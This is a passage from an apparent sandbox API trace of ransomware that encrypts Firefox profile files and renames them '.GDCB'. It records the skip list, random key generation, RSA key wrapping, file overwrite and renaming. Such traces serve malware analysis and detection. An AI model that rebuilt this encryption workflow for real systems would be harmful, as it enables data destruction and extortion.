(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94 [0055.449] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94 [0055.449] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="desktop.ini") returned 1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="autorun.inf") returned 1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="ntuser.dat") returned -1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="iconcache.db") returned -1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="bootsect.bak") returned 1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="boot.ini") returned 1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="ntuser.dat.log") returned -1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="thumbs.db") returned -1 [0055.449] lstrcmpiW (lpString1="extensions.ini", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.449] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini")) returned 0x20 [0055.449] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini", dwFileAttributes=0x20) returned 1 [0055.449] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.449] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" [0055.449] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.GDCB" [0055.449] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0055.450] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.450] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.450] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.450] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.450] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.450] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.450] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.451] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.451] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.451] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.451] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.451] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.451] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.451] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5901b0) returned 1 [0055.453] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8330) returned 1 [0055.453] CryptGetKeyParam (in: hKey=0x5b8330, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.453] CryptEncrypt (in: hKey=0x5b8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.454] GetLastError () returned 0x0 [0055.454] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.454] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.455] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x565640) returned 1 [0055.455] CryptGetKeyParam (in: hKey=0x565640, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.455] CryptEncrypt (in: hKey=0x565640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.456] GetLastError () returned 0x0 [0055.456] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.456] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.456] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.456] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.456] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0xb9, lpOverlapped=0x0) returned 1 [0055.461] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.461] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.462] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.462] SetFilePointer (in: hFile=0x504, lDistanceToMove=-185, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.462] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0xc0, lpOverlapped=0x0) returned 1 [0055.462] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.462] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.465] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.465] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.602] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.602] CloseHandle (hObject=0x504) returned 1 [0055.603] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.603] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.603] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.603] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini.gdcb")) returned 1 [0055.604] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.604] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.604] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.604] lstrcmpW (lpString1="extensions.json", lpString2=".") returned 1 [0055.604] lstrcmpW (lpString1="extensions.json", lpString2="..") returned 1 [0055.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" [0055.604] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.605] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95 [0055.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95 [0055.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95 [0055.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="desktop.ini") returned 1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="autorun.inf") returned 1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="ntuser.dat") returned -1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="iconcache.db") returned -1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="bootsect.bak") returned 1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="boot.ini") returned 1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="ntuser.dat.log") returned -1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="thumbs.db") returned -1 [0055.605] lstrcmpiW (lpString1="extensions.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json")) returned 0x20 [0055.606] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json", dwFileAttributes=0x20) returned 1 [0055.606] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.606] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" [0055.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.GDCB" [0055.606] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.607] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.607] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.607] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.607] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.607] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.607] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5901b0) returned 1 [0055.608] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.608] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.608] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.608] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.608] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.608] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.608] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.609] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.611] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8530) returned 1 [0055.611] CryptGetKeyParam (in: hKey=0x5b8530, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.611] CryptEncrypt (in: hKey=0x5b8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.611] GetLastError () returned 0x0 [0055.611] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.611] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5901b0) returned 1 [0055.613] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd708) returned 1 [0055.613] CryptGetKeyParam (in: hKey=0x5dd708, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.613] CryptEncrypt (in: hKey=0x5dd708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.614] GetLastError () returned 0x0 [0055.614] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.614] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.614] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.614] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.614] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x172b, lpOverlapped=0x0) returned 1 [0055.624] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.625] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.625] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.625] SetFilePointer (in: hFile=0x504, lDistanceToMove=-5931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.625] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x1730, lpOverlapped=0x0) returned 1 [0055.625] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.625] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.628] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.628] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.628] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.628] CloseHandle (hObject=0x504) returned 1 [0055.629] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.629] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.629] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.630] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json.gdcb")) returned 1 [0055.630] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.630] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.630] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.631] lstrcmpW (lpString1="formhistory.sqlite", lpString2=".") returned 1 [0055.631] lstrcmpW (lpString1="formhistory.sqlite", lpString2="..") returned 1 [0055.631] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="formhistory.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" [0055.631] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.631] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98 [0055.631] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98 [0055.631] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98 [0055.631] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="desktop.ini") returned 1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="autorun.inf") returned 1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="ntuser.dat") returned -1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="iconcache.db") returned -1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="bootsect.bak") returned 1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="boot.ini") returned 1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="ntuser.dat.log") returned -1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="thumbs.db") returned -1 [0055.631] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite")) returned 0x20 [0055.632] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite", dwFileAttributes=0x20) returned 1 [0055.632] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.632] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" [0055.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.GDCB" [0055.633] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.633] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.633] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.633] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.633] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.633] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.633] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.634] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.634] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.634] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.634] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.634] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.634] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.634] VirtualAlloc (lpAddress=0x0, 